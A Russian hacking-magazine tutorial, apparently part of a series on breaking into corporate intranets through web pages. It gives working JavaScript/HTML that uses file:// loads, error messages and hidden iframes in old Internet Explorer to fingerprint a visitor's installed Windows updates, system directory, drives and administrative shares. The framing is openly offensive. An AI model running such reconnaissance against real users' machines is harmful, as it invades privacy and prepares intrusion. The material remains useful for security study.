Содержание статьи
Начало этой статьи ты можешь прочитать
тут: Взлом Web
2.0: проникновение в Intranet, сканирование
системы №1
Windows Updates
Как же использовать эту технику, чтобы определить установленные обновления системы? Да, мы снова будем читать локальные файлы. На этот раз из директории Windows.

Ради интереса можете зайти в директорию
Windows. Думаю, вы замечали там директории $NtUninstallKBXXXXXX$, где ХХХХХХ – идентификатор обновления. Это системные директории и используются для отката обновлений. Каждый раз, обновляя систему, создаются резервные копии заменяемых файлов вместе с информацией об их изначальном местоположении. Эта информация хранится в поддиректории spuninst в файле
spuninst.txt:
[Windows Directory]\$NtUninstallKB[Update ID]$\spuninst\spuninst.txt
Так может выглядеть содержимое spuninst.txt:
COPY "C:\WINDOWS\$NtUninstallKB892313$\wmp.dll" "c:\windows\system32\wmp.dll"
DEL "c:\windows\system32\windowspowershell\v1.0\help.format.ps1xml"
Как видите, используемый формат не подходит для интерпретации JavaScript-модулем. Зато он подходит для интерпретатора “Visual Basic”. В случае, когда файл состоит из одних только DEL-команд, его можно прочитать из скрипта. В случае с
COPY нам не хватает запятой между аргументами. Вот как может выглядеть код для проверки обновлений:
<body>
<script language="javascript">
// реагируем на ошибки
window.onerror = function( text, file, line )
{
if(line != 2) // если ошибка не в первой строке,
updateStatus.installed = true; // обновление установлено
};
// Прописываем директорию windows
var windowsDirectory = "C:/WINDOWS";
// маска пути к информационному файлу
var windowsUpdatePath =
"file:///WindowsDirectory/$NtUninstallKBUpdateId$/spuninst/spuninst.txt";
// строим путь по маске и номеру
function getUpdateProfilePath( updateId )
{
return windowsUpdatePath
.replace(/WindowsDirectory/ig, windowsDirectory )
.replace( /UpdateId/ig, updateId );
}
// пустышки
function COPY( source, destination ){};
function DEL( source ){/* здесь можно составлять список */};
var updateStatus = { KB: 0, installed: false };
// Загрузить профайл
function loadUpdateProfile( updateId )
{
updateStatus = { KB: updateId, installed: false };
// грузим через скрипт
var loader = document.createElement('script');
loader.language ='vbscript';
loader.src = getUpdateProfilePath( updateStatus.KB );
document.body.appendChild(loader);
}
function getUpdateStatus( updateId )
{
loadUpdateProfile( updateId );
window.setTimeout(
function() // ведем лог: (вот почему лучше replace )
{ kb_log.innerText +=
( '\n KB-'+updateStatus.KB+' is'
+(updateStatus.installed?' ':' not ')+'installed' );
} // нифига не понятно
,1000);
}
</script>
KB<input type=text value="926140" id="kb_id">
<button onclick="getUpdateStatus(kb_id.value)"> get status </button>
<br>
<textarea id=kb_log></textarea>
<div id=kb_loader></div>
</body>
Ну вот, такой нехитрый скрипт. Вводите идентификатор обновления и получаете его статус. На этот раз мы используем информацию об ошибке, чтобы определить существование файла. Дело в том, что если файл не существует, текст ошибки будет отличаться от варианта, когда он все-таки есть, но не является синтаксически верным.
Добавьте еще один цикл и вы успешно проверите наличие большего количества обновлений. Если у вас нет желания перебирать полный список, можете выделить набор из самых опасных уязвимостей. После чего произвести проверку на наличие соответствующих им обновлений.
Казалось бы - чего еще надо, но этот скрипт имеет один недостаток, в нем жестко прописана директория Windows. Не исключено, что она будет именно такой, просто обратное тоже неоспоримо.
Директория Windows
Если хакер не знает наверняка о расположении системы, ему может понадобиться непристойное количество времени для его поиска. Дело в том, что кроме имени директории, под сомнением также диск С:\, у многих пользователей ОС установлена на другом диске. Поэтому первое, что мы будем определять – это информацию о существующих дисках. И уже только после этого подбирать директорию.
Вероятнее всего, система будет размещена на активном разделе. Хоть мы и не можем получить технические сведения о существующих разделах, активный раздел обладает одной отличительной чертой. Он является загрузочным. Поэтому наличие на нем файла boot.ini существенно умножает шансы на успех. Опять-таки, определять существование файла можно, исходя из кода ошибки: Предполагается наличие “]”.
Если она возникает, значит, файл найден. Такую закономерность легко объяснить, если посмотреть на сам файл:
- [boot loader]
- timeout=30
- default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
- ...
Явно, что первая строка, синтаксически неверна. Пробела в этом месте быть не может. Таким образом, проверка на существование файла - дело нескольких строк:
<script>
window.onerror = function( text )
{
if(text.indexOf("]") >=0 )
alert("boot.ini found");
};
</script>
<script src="file://c:/boot.ini"></script>
Другие косвенные улики, помогающие найти раздел с операционной системой – проверять существование директорий «Documents and Settings» или «Program Files». Хоть и их можно переопределить, рядовые пользователи крайне редко используют такую возможность. С другой стороны, директория не может быть источником для загрузки скрипта, здесь надо кое-что другое...
На сей раз воспользуемся фреймами и печально известной «Same-Origin Policy». Именно ее существование и поможет нам определить существование директории. Вот простенький пример:
<iframe src="file:///c:/Documents and Settings/" onload="alert(‘c’)"></iframe> <iframe src="file:///d:/Documents and Settings/" onload="alert(‘d’)"></iframe>
Объясню, как он работает. Если мы ссылаемся во фрейме на директорию, существует 2-а варианта развития сюжета, в зависимости от того, существует она в действительности или нет. Если директория существует и загружается во фрейм, автоматически срабатывает «Same-Origin Policy» и блокирует нам доступ к его содержимому. Обработчик события onload, соответственно, тоже блокируется и он никогда не исполниться. В то же время отсутствие директории означает, что вместо ее содержимого будет загружена стандартная страничка ошибки:
А. file:///c:/Documents and Settings/ В. res://shdoclc.dll/dnserror.htm
Во втором варианте мы не нарушаем политику безопасности, поскольку в результате получаем стандартное сообщение об ошибке. Самое интересное, что при этом обработчик
onload остается активным. Исходя из всего этого, уже не является сложным написание соответствующего скрипта:
<style>
iframe /* прячем фреймы */
{
width : 0px;
height : 0px;
visibility : hidden;
}
</style>
<script>
// изначально считаем, что директория есть на всех дисках:
var drive = { c:1, d:1, ..., z:1 };
// просмотр результатов
function getResults()
{
// по всем дискам
for(d in drive)
if( drive[d] == 1 ) // если статус остался 1 – папка найдена
alert('Found directory '+d+':\\Documents and Settings');
}
// на все про все 5 сек.
window.setTimeout( getResults, 5000 );
</script>
// закидываем удочки, если срабатывает onload, это не тот диск
<iframe src="file:///c:/Documents and Settings/" onload="drive.c=0"></iframe>
<iframe src="file:///d:/Documents and Settings/" onload="drive.d=0"></iframe>
...
<iframe src="file:///h:/Documents and Settings/" onload="drive.z=0"></iframe>
Все, что осталось, это подбирать имя самой директории Windows. Оставлю реализацию на самостоятельную работу. Помните, вы можете производить сканирование как с помощью script.src (проверять наличие стандартного системного файла), так и iframe.src (указывающий на предполагаемое название директории Windows). Также стоит заметить, что побуквенный перебор - неоправданное занятие. Лучшее из решений - это проверка из конкретного списка возможных директорий (по словарю).
Отлично, но мы не должны в обязательном порядке проверять все диски. Вполне вероятно, что многие из них даже не существуют. И вообще, бывают еще
Сетевые диски.
Определение разделов
Мы можем собрать информацию о существующих дисках в системе. Для проверки разделов используется уже описанный ранее метод – через фреймы. Но в этот раз мы расширим функциональность скрипта и попытаемся находить сетевые диски, открытый доступ и административные шары.
В процессе сканирования будем использовать три типа обращения к диску (локальные и два вида сетевых):
1. file:///с:/
2. file://///127.0.0.1/с$/
3. file://///127.0.0.1/с/
Итак, у нас есть три теста по каждому диску.
- После первого теста мы определяем все существующие в системе диски.
- Второй тест проверяет его административную шару. Сетевые диски ее не имеют, а локальные да. Стоит сразу сделать оговорку, что сетевые диски можно идентифицировать только тогда, когда клиент является локальным администратором.
- И последняя проверка - на открытый доступ к диску (если имя общего доступа не изменялось пользователем).
Ну что, поехали. Я не стал особо мудрить, вот минимально простой сканнер дисков:
<body>
<div id="out_log"></div>
<script>
// это список дисков, здесь будут все результаты
window.Drives = new Array();
// здесь перебираются все варианты:
function getLocationTest(letter)
{
// смотрим, на каком мы этапе
var status = window.Drives[letter].processingStatus;
// соответственно, выбираем следующий:
// - Просто проверка диска
if(status==0) locationValue = 'file:///'+letter+':/';
// - проверка административного доступа
if(status==2) locationValue = 'file://///127.0.0.1/'+letter+'$/';
// - самая обычная шара
if(status==4) locationValue = 'file://///127.0.0.1/'+letter+'/';
// обновляем информацию
eval('drive_'+letter+status).location = locationValue;
// сбрасываем флаг результата
window.Drives[letter].onloadExecuted = false;
}
// здесь сохраняются результаты
function saveLocationTest(letter)
{
var status = window.Drives[letter].processingStatus;
// соответствующие названия тестов
if(status==1) locationAlias = 'network';
if(status==3) locationAlias = 'local';
if(status==5) locationAlias = 'shared';
// диск найден, если флаг onload установлен в false
window.Drives[letter][locationAlias] =
!window.Drives[letter].onloadExecuted;
}
// здесь мы переходим от этапа к этапу:
function nextProcessingStatus( callback,letter, timeout )
{
var status = window.Drives[letter].processingStatus;
if(status==0) getLocationTest(letter);
if(status==2) getLocationTest(letter);
if(status==4) getLocationTest(letter);
if(status==1) saveLocationTest(letter);
if(status==3) saveLocationTest(letter);
if(status==5) saveLocationTest(letter);
window.Drives[letter].processingStatus++;
getDriveStatus( callback, letter, timeout );
}
// это функция генерации тестовых фреймов
function getDriveStatus( callback, letter, timeout )
{
// если мы уже на 6-м этапе – это конец
if( window.Drives[letter] != null
&& window.Drives[letter].processingStatus == 6
)
return callback(letter); // возвращаем результаты
// если диск еще не проверялся, создаем ОСНОВНУЮ структуру:
if( typeof(window.Drives[letter]) == 'undefined' )
window.Drives[letter] =
{
processingStatus : 0
, onloadExecuted : false
, local : false
, network : false
, shared : false
};
// выбираем контейнер, в котором будут генериться фреймы
var domFrameContainer = document.getElementById('frameContainer');
if( !domFrameContainer )
{
domFrameContainer = document.createElement('div');
domFrameContainer.id = 'frameContainer';
document.body.appendChild(domFrameContainer);
}
// это ХТМЛ-код вставляемого фрейма:
var htmlFrameCode =
'<iframe style="visibility:hidden;position:absolute"id=drive_'
+letter
+window.Drives[letter].processingStatus
+' onload="window.Drives[\''+letter+'\'].onloadExecuted=true;’
+’" src="blank.html"></iframe>';
var status = window.Drives[letter].processingStatus;
// если это 0/2/4–й этап, создаем новый фрейм:
if(status==0) domFrameContainer.innerHTML += htmlFrameCode;
if(status==2) domFrameContainer.innerHTML += htmlFrameCode;
if(status==4) domFrameContainer.innerHTML += htmlFrameCode;
// ждем результатов
window.setTimeout(
function(){ nextProcessingStatus( callback,letter, timeout );}
, timeout );
};
// это код буквы «С», в этой переменной мы храним букву последнего
// сканируемого диска
var last_drive_letterCode = 0x63;
function demo(letter)
{
var drive = window.Drives[letter];
// если диск хоть какой-то, выводим информацию про него
if(drive.local || drive.network || drive.shared)
out_log.innerText+=
(
letter + ' - '
+ (drive.local?'local':'')+ ' '
+ (drive.network?'network':'') + ' '
+ (drive.shared?'shared':'') +'\n '
);
// ( иначе его просто нет )
// если буквы закончились, пора остановиться:
if(last_drive_letterCode<0x7B)
getDriveStatus( demo, (String.fromCharCode(last_drive_letterCode++)),1000 );
};
// СТАРТУЕМ!
getDriveStatus( demo, ‘c’,1000 );
</script>
</body>
Заключение
Как видите, обычная веб-страница может стать намного опаснее, чем вы ранее предполагали. Чтобы защититься, есть только один выход – запуск Браузера из ограниченной учетной записи (можно с помощью runas). Но об этом, и не только, мы поговорим в следующий раз. Ждите, мы будем искать имя пользователя, проверять его права в системе, попробуем узнать его ICQ, и, в конце концов, вернемся к его сети. Вы ведь не забыли, что наша цель - это внутренняя сеть компании?